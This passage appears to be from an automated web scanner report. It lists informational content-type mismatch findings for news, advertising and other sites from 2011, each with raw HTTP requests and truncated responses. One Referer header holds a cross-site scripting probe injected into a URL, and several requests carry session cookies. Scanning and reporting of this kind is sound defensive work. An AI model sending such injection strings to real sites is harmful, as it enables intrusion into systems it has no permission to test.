Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
ETag: "fddba06d24941ece354bbce16bd06a01:1305315027"
Last-Modified: Fri, 13 May 2011 19:25:47 GMT
Accept-Ranges: bytes
Content-Length: 757
Content-Type: text/plain
Date: Sat, 14 May 2011 11:37:14 GMT
Connection: close
X-N: S

function getTargetingTags_712() { return '<?xml version="1.0" encoding="UTF-8"?><responseContainer><service><classifier><category path="Life & Style" description="" name="Life & Style" id="21
...[SNIP]...

29.14. http://catrg.peer39.net/313/386/376693313 previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://catrg.peer39.net
Path:	/313/386/376693313

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /313/386/376693313?aid=00712&sid=00000&pu=http%3A//www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13&cc=/7QnkE80XLKzILiqpjgeKxf/yYqPe70zfdO7mPRtaGk%3D&pr=http%3A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12&pt=Citigroup%u2019s%20new%20look%20is%20plainly%20cosmetic%20Chuck%20Jaffe%20-%20MarketWatch&sd=6027710 HTTP/1.1
Host: catrg.peer39.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
ETag: "ffb960e8c7661f48bfcf98e2eba927d7:1305307218"
Last-Modified: Fri, 13 May 2011 17:15:59 GMT
Accept-Ranges: bytes
Content-Length: 564
Content-Type: text/plain
Date: Sat, 14 May 2011 10:29:46 GMT
Connection: close
X-N: S

function getTargetingTags_712() { return '<?xml version="1.0" encoding="UTF-8"?><responseContainer><service><classifier><category path="Personal Finance" description="" name="Personal Finance" id="22
...[SNIP]...

29.15. http://catrg.peer39.net/36/210/1382605036 previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://catrg.peer39.net
Path:	/36/210/1382605036

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /36/210/1382605036?aid=00712&sid=00000&pu=http%3A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12&cc=/7QnkE80XLKzILiqpjgeKxf/yYqPe70zfdO7mPRtaGk%3D&pr=http%3A//www.marketwatch.com/&pt=Oil%20settles%20higher%20after%20late-hour%20comeback%20Futures%20Movers%20-%20MarketWatch&sd=5308830 HTTP/1.1
Host: catrg.peer39.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
ETag: "02dca8801db33aa331a56f1991d64eb7:1305320408"
Last-Modified: Fri, 13 May 2011 20:55:42 GMT
Accept-Ranges: bytes
Content-Length: 641
Content-Type: text/plain
Date: Sat, 14 May 2011 10:25:16 GMT
Connection: close
X-N: S

function getTargetingTags_712() { return '<?xml version="1.0" encoding="UTF-8"?><responseContainer><service guid="xxxxxxxxxxxxxxxxxxxx"><classifier><category path="Personal Finance" description="" na
...[SNIP]...

29.16. http://catrg.peer39.net/384/75/2076037884 previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://catrg.peer39.net
Path:	/384/75/2076037884

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /384/75/2076037884?aid=00712&sid=00000&pu=http%3A//online.wsj.com/article/SB10001424052748704681904576315662838806984.html&cc=/7QnkE80XLKzILiqpjgeKxf/yYqPe70zfdO7mPRtaGk%3D&pr=http%3A//online.wsj.com/public/page/0_0_WP_2400_NewsReel.html%3FbaseDocId%3DSB10001424052748703730804576313682030967852&pt=The%20Battle%20Over%20Power%20of%20Attorney%20-%20WSJ.com&sd=613020 HTTP/1.1
Host: catrg.peer39.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
ETag: "30e6fbddea99f3c40ec3a2ddfb672ba2:1305333315"
Last-Modified: Sat, 14 May 2011 00:31:55 GMT
Accept-Ranges: bytes
Content-Length: 540
Content-Type: text/plain
Date: Sat, 14 May 2011 10:48:20 GMT
Connection: close
X-N: S

function getTargetingTags_712() { return '<?xml version="1.0" encoding="UTF-8"?><responseContainer><service><classifier><category path="Business" description="" name="Business" id="220"/><category pa
...[SNIP]...

29.17. http://catrg.peer39.net/83/435/1736717583 previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://catrg.peer39.net
Path:	/83/435/1736717583

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /83/435/1736717583?aid=00712&sid=00000&pu=http%3A//online.wsj.com/article/SB10001424052748703864204576321552255041680.html&cc=/7QnkE80XLKzILiqpjgeKxf/yYqPe70zfdO7mPRtaGk%3D&pr=http%3A//online.wsj.com/home-page&pt=Inside%20the%20Galleon%20Jury%20Deliberations%20-%20WSJ.com&sd=5819760 HTTP/1.1
Host: catrg.peer39.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
ETag: "1195c6e622d544c57f8efcfbafc7349b:1305363303"
Last-Modified: Sat, 14 May 2011 08:53:40 GMT
Accept-Ranges: bytes
Content-Length: 449
Content-Type: text/plain
Date: Sat, 14 May 2011 10:09:46 GMT
Connection: close
X-N: S

function getTargetingTags_712() { return '<?xml version="1.0" encoding="UTF-8"?><responseContainer><service guid="xxxxxxxx"><classifier><category path="US News" description="" name="US News" id="227"
...[SNIP]...

29.18. http://coretomic.com/CN/script/Validate.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://coretomic.com
Path:	/CN/script/Validate.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

Response

29.19. http://cs.wsj.net/community/content/images/misc/groups/otherquestionmark.25x25.png previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://cs.wsj.net
Path:	/community/content/images/misc/groups/otherquestionmark.25x25.png

Issue detail

The response contains the following Content-type statement:

Content-Type: image/png

The response states that it contains a PNG image. However, it actually appears to contain a GIF image.

Request

GET /community/content/images/misc/groups/otherquestionmark.25x25.png HTTP/1.1
Host: cs.wsj.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 501
Content-Type: image/png
Content-Location: http://cs.wsj.net/community/content/images/misc/groups/otherquestionmark.25x25.png
Last-Modified: Fri, 18 Mar 2011 17:55:54 GMT
Accept-Ranges: bytes
ETag: "071c8b995e5cb1:0"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:09:45 GMT

GIF89a.........................mmm.........vvviii.........zzz]]]...bbbrrr........................xxx~~~|||...............NNN.................................HHH..................fff.........VVV???....
...[SNIP]...

29.20. http://cs.wsj.net/community/content/images/misc/groups/otherquestionmark.80x80.png previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://cs.wsj.net
Path:	/community/content/images/misc/groups/otherquestionmark.80x80.png

Issue detail

The response contains the following Content-type statement:

Content-Type: image/png

The response states that it contains a PNG image. However, it actually appears to contain a GIF image.

Request

GET /community/content/images/misc/groups/otherquestionmark.80x80.png HTTP/1.1
Host: cs.wsj.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 2549
Content-Type: image/png
Content-Location: http://cs.wsj.net/community/content/images/misc/groups/otherquestionmark.80x80.png
Last-Modified: Fri, 18 Mar 2011 17:55:54 GMT
Accept-Ranges: bytes
ETag: "071c8b995e5cb1:0"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 11:37:13 GMT

GIF89aP.P......................yyy.........SSS:::JJJBBB333uuu............ZZZ.........+++...qqq.....................mmm...~~~|||...""".....................eee......```.........iii......................
...[SNIP]...

29.21. http://cs.wsj.net/community/content/images/misc/groups/persfinancepiggybank.80x80.png previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://cs.wsj.net
Path:	/community/content/images/misc/groups/persfinancepiggybank.80x80.png

Issue detail

The response contains the following Content-type statement:

Content-Type: image/png

The response states that it contains a PNG image. However, it actually appears to contain a GIF image.

Request

GET /community/content/images/misc/groups/persfinancepiggybank.80x80.png HTTP/1.1
Host: cs.wsj.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 4088
Content-Type: image/png
Content-Location: http://cs.wsj.net/community/content/images/misc/groups/persfinancepiggybank.80x80.png
Last-Modified: Fri, 18 Mar 2011 17:55:54 GMT
Accept-Ranges: bytes
ETag: "071c8b995e5cb1:0"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:18:08 GMT

GIF89aP.P....zzz...FFF............444.....................sss.........lll.................................ddd......RRR.........YYY......................................................................
...[SNIP]...

29.22. http://cs.wsj.net/community/content/images/misc/members/defaultuser.50x50.png previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://cs.wsj.net
Path:	/community/content/images/misc/members/defaultuser.50x50.png

Issue detail

The response contains the following Content-type statement:

Content-Type: image/png

The response states that it contains a PNG image. However, it actually appears to contain a GIF image.

Request

GET /community/content/images/misc/members/defaultuser.50x50.png HTTP/1.1
Host: cs.wsj.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 1559
Content-Type: image/png
Content-Location: http://cs.wsj.net/community/content/images/misc/members/defaultuser.50x50.png
Last-Modified: Fri, 18 Mar 2011 17:55:54 GMT
Accept-Ranges: bytes
ETag: "071c8b995e5cb1:0"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:09:44 GMT

GIF89a2.2.......DDD...888.........KKKUUUYYYjjj...aaahhh...^^^........................fff.........QQQ...ddd...........................uuuyyy~~~xxxsssrrr{{{}}}qqqttt|||...ooo......nnnmmm...lll...zzzvvvw
...[SNIP]...

29.23. http://fanpeeps.com/horizontalbuttons1.css previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/horizontalbuttons1.css

Issue detail

The response contains the following Content-type statement:

Content-Type: text/css

The response states that it contains CSS. However, it actually appears to contain HTML.

Request

GET /horizontalbuttons1.css HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:49:32 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
Last-Modified: Mon, 22 Mar 2010 07:07:01 GMT
ETag: "10645f0-a0b-57f42f40"
Accept-Ranges: bytes
Content-Length: 2571
Content-Type: text/css

<style type="text/css">

/*Credits: Dynamic Drive CSS Library */
/*URL: http://www.dynamicdrive.com/style/ */

.aerobuttonmenu{ /*container that holds a row of aero buttons*/
overflow: hidden; /*See:
...[SNIP]...

29.24. http://fanpeeps.com/horizontaltabs1.css previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/horizontaltabs1.css

Issue detail

The response contains the following Content-type statement:

Content-Type: text/css

The response states that it contains CSS. However, it actually appears to contain HTML.

Request

GET /horizontaltabs1.css HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:49:31 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
Last-Modified: Mon, 22 Mar 2010 07:07:01 GMT
ETag: "10645ef-4e4-57f42f40"
Accept-Ranges: bytes
Content-Length: 1252
Content-Type: text/css

<style type="text/css">

/*Credits: Dynamic Drive CSS Library */
/*URL: http://www.dynamicdrive.com/style/ */

#tabs {
   float:left;
   width:100%;
   font: bold 13px Arial;
   font-family: Arial, arial;
   l
...[SNIP]...

29.25. http://i4.marketwatch.com/MW5/content/Story/Images/icon-thumb.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://i4.marketwatch.com
Path:	/MW5/content/Story/Images/icon-thumb.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /MW5/content/Story/Images/icon-thumb.gif HTTP/1.1
Host: i4.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response

HTTP/1.1 200 OK
Content-Length: 216
Content-Type: image/gif
Last-Modified: Thu, 14 Oct 2010 23:02:48 GMT
Accept-Ranges: bytes
ETag: "1880a2ebf36bcb1:8037"
Server: Microsoft-IIS/6.0
X-Machine: SEC-IMAGE2
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:14:10 GMT
Connection: close

.PNG
.
...IHDR..............r......tEXtSoftware.Adobe ImageReadyq.e<....PLTE_.Y...............b.a.................tRNS....0J...BIDATx.L.A..0.........+PSeO.. .C.RQ......@..g.fZv...<,...pUo....
0.0...
...[SNIP]...

29.26. http://images.apple.com/global/nav/scripts/globalnav.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://images.apple.com
Path:	/global/nav/scripts/globalnav.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /global/nav/scripts/globalnav.js HTTP/1.1
Host: images.apple.com
Proxy-Connection: keep-alive
Referer: http://itunes.apple.com/us/app/wsj-house-of-the-day/id418203198
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ccl=o0JDZigmoxjGq4faAakjdzf+SDos/qxMImKNNXzeWaYOxMaPNptafyWx0d3VeuJok0iL5oPgARAsNKzD/lGHKsqzcfgzakpApHj1yOh9QFVeDBVsCoCF1yzx/qJ72p20Q2z+scXUWYaQpe18dqoMPKEQt+KE154QIzOTquzy6o9P2pFaShF1R9yWFPh+t7UKuQNqPgvAtq/qHSQ1gheM4Qm7uA51Jb/zI5mknt89A4DzW0rvu9vHLuyVIlrhOerIpqNGyqRTn+JlMgPYZ0UWnxL/orDperxeGsR9nr0RGY/NqZQhA625WU495FyqfGVaDZ1gYUHlGAGfBIbP+u9SznrjPNwdbTMpdClyEj78u+3wgC+kFNxUEj0UOxTE7QLryGJAydtdDuhWBJ0mXsaIA4qzs68oVHsCs/MParNLVAc+61MtTQykBGDexv31Xuco5NnY6k/vSs1sGIQRXrJkRlIh6r6sYLI9w+48t/knijuCpjoMtpjJqAumnCy1hWF+WHA4ClXfT7d8pobXilqpZd5wagvkv/PSGARBKvZH1FjtH3PktBVDjEIrfTSf65VJ; geo=US

Response

HTTP/1.1 200 OK
Last-Modified: Thu, 21 Apr 2011 20:13:41 GMT
ETag: "6e6f-4a173609c2740"
Vary: Accept-Encoding
Server: Apache/2.2.14 (Unix)
Cteonnt-Length: 28271
Content-Type: application/x-javascript
Cache-Control: max-age=317
Expires: Sat, 14 May 2011 11:03:55 GMT
Date: Sat, 14 May 2011 10:58:38 GMT
Connection: close
Content-Length: 28271

if(typeof(AC)=="undefined"){AC={}}document.createElement("nav");AC.addEvent=function(b,a,c){if(b.addEventListener){return b.addEventListener(a,c,false)
}else{return b.attachEvent("on"+a,c)}};AC.remove
...[SNIP]...

29.27. http://images.scanalert.com/images/favicon.mcafeesecure.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://images.scanalert.com
Path:	/images/favicon.mcafeesecure.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain a GIF image.

Request

GET /images/favicon.mcafeesecure.ico HTTP/1.1
Host: images.scanalert.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
ETag: "AdNYpbGfjt9"
Last-Modified: Wed, 14 May 2008 17:49:47 GMT
Accept-Ranges: bytes
Content-Type: text/html; charset=utf-8
Content-Length: 1017
Date: Sat, 14 May 2011 12:52:35 GMT
Connection: close

GIF89a............]^`AAAijl...........1.@Y.p......3..=.
5.5V.Db..?. 4.;..4..E.....?..B..3.....&.Km..3.Vw.>g.Xs..7.......\~...........8...........9....#M.....K..7..:..2. ,..-..9..5.
2..)...........A.
...[SNIP]...

29.28. http://json6.ringrevenue.com/images/generic/logo.png previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://json6.ringrevenue.com
Path:	/images/generic/logo.png

Issue detail

The response contains the following Content-type statement:

Content-Type: image/png

The response states that it contains a PNG image. However, it actually appears to contain a GIF image.

Request

GET /images/generic/logo.png HTTP/1.1
Host: json6.ringrevenue.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://json6.ringrevenue.com/6/map_number7eee0%27%3balert(1)//7515d9488a3?jsoncallback=jsonp1305377517510&_=1305377522381&av_id=5510&url=http%3A%2F%2Fwww.midphase.com%2F&referer=
Cookie: theme=generic; _rr_session_id=f163055218661cc27b695a8178c22dcb

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/png
Date: Sun, 15 May 2011 11:53:42 GMT
ETag: "28168577-31-48e0cee715880"
Last-Modified: Tue, 17 Aug 2010 23:01:38 GMT
Server: Apache/2.2.8 (Ubuntu) mod_ssl/2.2.8 OpenSSL/0.9.8g
Content-Length: 49
Connection: keep-alive

GIF89a...................!.......,...........T..;

29.29. http://kara.allthingsd.com/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://kara.allthingsd.com
Path:	/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain JSON.

Request

GET /?atd_json=api-video/find_all_videos.asp&fields=all&site=atd&count=4&doctype=128&type=allthingsd-section&query=BoomTown HTTP/1.1
Host: kara.allthingsd.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __switchTo5x=48; __utmz=1.1305367991.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1428735391.1305367991.1305367991.1305367991.1; __utmc=1; __utmb=1.1.10.1305367991; atd_cookie_notice=2; __unam=c2a74e1-12fedfea5dc-285fdd11-2; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2011 10:25:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Sat, 14 May 2011 10:22:58 +0000
Cache-Control: max-age=169, must-revalidate
Vary: Cookie
X-Pingback: http://kara.allthingsd.com/xmlrpc.php
X-nananana: Batcache
Content-Length: 9258

{"items":[{"formattedCreationDate": "4\u002F26\u002F2011 8:00:00 PM","unixCreationDate": 1303848000,"vbCreationDate": 40659.8333333333,"formattedLastModifiedDate": "4\u002F26\u002F2011 5:50:17 PM","un
...[SNIP]...

29.30. http://maps.googleapis.com/maps/api/js/AuthenticationService.Authenticate previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://maps.googleapis.com
Path:	/maps/api/js/AuthenticationService.Authenticate

Issue detail

The response contains the following Content-type statement:

Content-Type: text/javascript; charset=UTF-8

The response states that it contains script. However, it actually appears to contain plain text.

Request

Response

29.31. http://maps.googleapis.com/maps/api/js/ViewportInfoService.GetViewportInfo previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://maps.googleapis.com
Path:	/maps/api/js/ViewportInfoService.GetViewportInfo

Issue detail

The response contains the following Content-type statement:

Content-Type: text/javascript; charset=UTF-8

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

Response

29.32. http://online.barrons.com/mdc/public/js/9_3001_Refresh_HP.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://online.barrons.com
Path:	/mdc/public/js/9_3001_Refresh_HP.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /mdc/public/js/9_3001_Refresh_HP.js?cb=1305367977977 HTTP/1.1
Host: online.barrons.com
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=73c63f57-3fae-4236-b6d8-6320cd939c4f; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:14:16 GMT
Server: Apache/2.0.52 (Red Hat)
X-DEBUG-BOX-IDENT: sbkj2kmdcwebp01
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /mdc/public/js/9_3001_Refresh_HP.js?cb=1305367977977
X-DEBUG-NAMESPACE: mdc-barrons
Host: online.barrons.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Language: en-US,en;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=73c63f57-3fae-4236-b6d8-6320cd939c4f; s_cc=true; s_sq=%5B%5BB%5D%5D
X-WSJACL-ENV: prod
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Length: 5167
Content-Type: text/html; charset=UTF-8

var ataglance_stock = new Object();
ataglance_stock.time = '5:29 p.m. EDT 05/13/11';
ataglance_stock.timeStyle = 'timefr';
ataglance_stock.name = "Major Stock Indexes";
ataglance_stock.nameSty
...[SNIP]...

29.33. http://online.barrons.com/scorecard/SC_BEAR_O_2011_L.json previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://online.barrons.com
Path:	/scorecard/SC_BEAR_O_2011_L.json

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain JSON.

Request

GET /scorecard/SC_BEAR_O_2011_L.json HTTP/1.1
Host: online.barrons.com
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
